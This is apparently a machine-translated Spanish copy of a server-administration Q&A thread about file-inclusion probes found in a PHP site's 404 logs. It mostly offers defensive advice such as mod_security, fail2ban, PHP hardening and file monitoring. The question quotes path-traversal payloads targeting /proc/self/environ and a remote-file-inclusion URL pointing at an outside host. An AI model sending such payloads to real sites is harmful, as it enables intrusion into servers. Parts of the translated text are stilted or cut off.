Mirando a través de mis registros 404, noté las siguientes dos URL, las cuales ocurrieron una vez:
/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ
y
/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00
La página en cuestión library.php
requiere una type
variable con media docena de valores aceptables diferentes, y luego una id
variable. Entonces, una URL válida podría ser
library.php?type=Circle-K&id=Strange-Things-Are-Afoot
y todos los identificadores se ejecutan mysql_real_escape_string
antes de usarse para consultar la base de datos.
Soy un novato, pero me parece que estos dos enlaces son simples ataques contra el webroot.
1) ¿Cómo proteger mejor contra este tipo de cosas además de un 404?
2) ¿Debo permaban la (s) IP (s) responsable (s)?
EDITAR: también acabo de notar este
/library.php=http://www.basfalt.no/scripts/danger.txt
EDIT 2: La IP ofensiva para los 3 ataques fue la 216.97.231.15
que se remonta a un ISP llamado Lunar Pages ubicado a las afueras de Los Ángeles.
EDITAR 3: He decidido llamar al ISP el viernes por la mañana, hora local, y discutir el problema con quien pueda llamar por teléfono. Publicaré los resultados aquí en aproximadamente 24 horas.
EDITAR 4: Terminé enviando correos electrónicos a sus administradores y ellos respondieron primero que "lo estaban investigando" y luego un día después con "este problema debería resolverse ahora". No hay más detalles, lamentablemente.
type
le dice al script que incluye usar (aunque a través de unIF $_GET['type'] == 'thing') {} ESLE...
, no como un enlace directo comoinclude 'type.php'
) yid
se ejecuta a través de mysql_real_escape_string y eso se usa para consultas. Sabiendo eso, ¿sigo a salvo?Respuestas:
0) si. Por lo menos, es una investigación sistemática contra su sitio que intenta descubrir si es vulnerable.
1) Aparte de asegurarse de que su código esté limpio, no hay mucho que pueda hacer, sino ejecutar sus propias pruebas en su host para asegurarse de que sea seguro. Google Skipfish es una de las muchas herramientas para ayudarlo allí.
2) lo haría.
fuente
0)
notación: ¡agradable! Nunca hubiera pensado en eso.-1)
o0.5)
oπ)
o2 + 3i)
notación tampoco. : PEste es un ataque, aquí se explica mucho .
fuente
Como han dicho otros: sí, es un intento de pirateo. Tenga en cuenta que, además de este posible intento hecho a mano, hay muchísimos automatismos ejecutados por botnets. En general, ese tipo de ataques intentan escabullirse de vulnerabilidades antiguas y / o algunas fallas de codificación típicas, como la falla para validar la entrada del usuario que conduce a la inyección de SQL, la fuga de sistema o archivo, o similar.
La prohibición de esas botnets a mano es probablemente imposible, ya que las botnets pueden usar hasta miles de direcciones IP únicas, por lo que si desea prohibirlas, tendrá que usar algún tipo de programa de prohibición automatizado. fail2ban viene a mi mente; hacer que reaccione a los eventos mod_security u otras entradas de registro.
Si su código está limpio y el servidor está endurecido, esos intentos de pirateo son solo una molesta contaminación de registros. Pero es mejor tomar medidas de precaución y considerar algunos o todos los siguientes, según sus necesidades:
mod_security es un módulo de Apache que filtra todo tipo de intentos de piratería típicos. También puede restringir el tráfico saliente (la página que su servidor enviaría a un cliente) si ve JavaScript sospechoso, etc.
Suhosin para endurecer el propio PHP.
Ejecute sus scripts PHP como un usuario que posee el script; cosas como suphp y php-fpm lo hacen posible.
Monte su directorio webroot y PHP temporal como noexec, nosuid, nodev .
Deshabilite las funciones PHP innecesarias, como system y passthru .
Deshabilitar módulos PHP innecesarios. Por ejemplo, si no necesita soporte IMAP, no lo habilite.
Mantenga su servidor actualizado.
Vigila los registros.
Asegúrate de tener copias de seguridad.
Tenga un plan de qué hacer si alguien lo piratea o algún otro desastre lo golpea.
Ese es un buen comienzo. Luego hay medidas aún más extremas, como Snort y Prelude , pero pueden ser muy exageradas para la mayoría de las configuraciones.
fuente
Es muy probable que la máquina que está haciendo esas consultas sea un zombie botnet. Si recibe esas solicitudes de varias direcciones IP, probablemente no valga la pena prohibirlas, ya que tendría que prohibir la mitad de Internet para que sea eficaz.
fuente
Como ya se dijo, es un intento de acceder al archivo / proc / self / environmental para obtener más información.
Supongo que es una máquina Linux:
Deberías usar
Puede bloquear la ip de un servidor atacante, pero debe considerar que no puede atacar en la función.
Solía bloquear algunos servicios cuando mi servidor está bajo ataque: http / https / pop / imap / ssh pero dejo abierto smtp, para que pueda ser notificado si cometió un error.
fuente
Sí, es un intento de intrusión. Definitivamente deberías prohibir la IP. Si determina que la IP está fuera del país, es posible que desee prohibir toda la subred a la que pertenece. Esto es menos un problema de código que un problema del servidor. Mire esta intrusión en particular y asegúrese de que su proveedor de alojamiento no sea vulnerable a ella o a intentos similares de script kiddie (que es lo que parece).
fuente
Este es un intento de explotar una posible vulnerabilidad de inclusión de archivos locales arbitraria en scripts del lado del servidor accesibles a través de su servidor web. En un sistema Linux vulnerable
/proc/self/environ
se puede abusar para ejecutar código arbitrario del lado del servidor.fuente
Según lo recomendado por Janne Pikkarainen:
Como parte de estos registros, es importante monitorear los cambios de cualquiera de sus archivos, incluido su sitio web, como parte de un sistema de detección de intrusos. Un ejemplo es OpenBSD que hace esto por defecto para los archivos de configuración. Traigo esto porque:
fuente